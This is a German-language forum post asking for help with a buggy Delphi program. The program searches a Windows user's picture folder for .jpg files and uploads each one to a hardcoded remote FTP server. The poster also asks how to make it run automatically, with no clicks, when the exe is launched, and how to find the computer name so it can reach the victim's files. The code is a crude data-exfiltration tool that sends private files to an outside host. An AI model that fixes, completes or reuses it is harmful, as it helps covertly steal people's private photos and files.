tahc leute bin dabei nen progrmam zu schreiben was alle daten sichert die man will damit meine ich es sucht nach einem bestimmten dateintyp und sollte ihn uploaden. nun zu meinem problem immer wenn ich auf uploaden klicke kommt die fehlermelung : listenindex überschreitet das maximum (6 8 )
hier der code
Code:
Procedure FindFiles (aPath, aFindMask: String; aWithSub: Boolean; aResult: tStringlist);
Var
FindRec: tSearchRec;
Begin
If (aPath = '') or (aFindMask = '') or Not Assigned (aResult) Then
Exit;
If aPath[Length (aPath)] <> '\' Then
aPath := aPath + '\';
If FindFirst (aPath + aFindMask, faAnyFile, FindRec) = 0 Then
Repeat
If (FindRec.Name <> '.') and (FindRec.Name <> '..') Then
aResult.Add (aPath + FindRec.Name);
Until FindNext (FindRec) <> 0;
FindClose (FindRec);
If Not aWithSub Then
Exit;
If FindFirst (aPath + '*.*', faAnyFile, FindRec) = 0 Then
Repeat
If (FindRec.Name <> '.') and (FindRec.Name <> '..') Then
If Boolean (FindRec.Attr and faDirectory) Then
FindFiles (aPath + FindRec.Name, aFindMask, aWithSub, aResult);
Until FindNext (FindRec) <> 0;
FindClose (FindRec);
End;
procedure TForm2.Button1Click(Sender: TObject);
begin
datei := tstringlist.Create;
findfiles ( 'C:\Dokumente und Einstellungen\ + computername +\Eigene Dateien\Eigene Bilder\' , '*.jpg', true, datei);
end;
procedure TForm2.Button2Click(Sender: TObject);
begin
for i := 0 to datei.Count-1 do
MyIdFtp := TIdFtp.Create;
try
myidftp.host := 'ftp.stimmterersadasde.st.ohost.de';
myidftp.Username := 'asd';
myidftp.Password := '';
myidftp.Passive := false;
myidftp.Connect;
myidftp.Put(datei[i]);
finally
Myidftp.Free;
end;
end;
end.
und ich habe auch noch gleich 2 andere fragen unzwar die kann ich die buttonklicks weglassen sodas wenn die exe ausgeführt wird alles von alleine startet ?? und wie finde ich herraus wie der computername lautet?damit ich zugriff auf die eigenen datein habe?
mfg crashit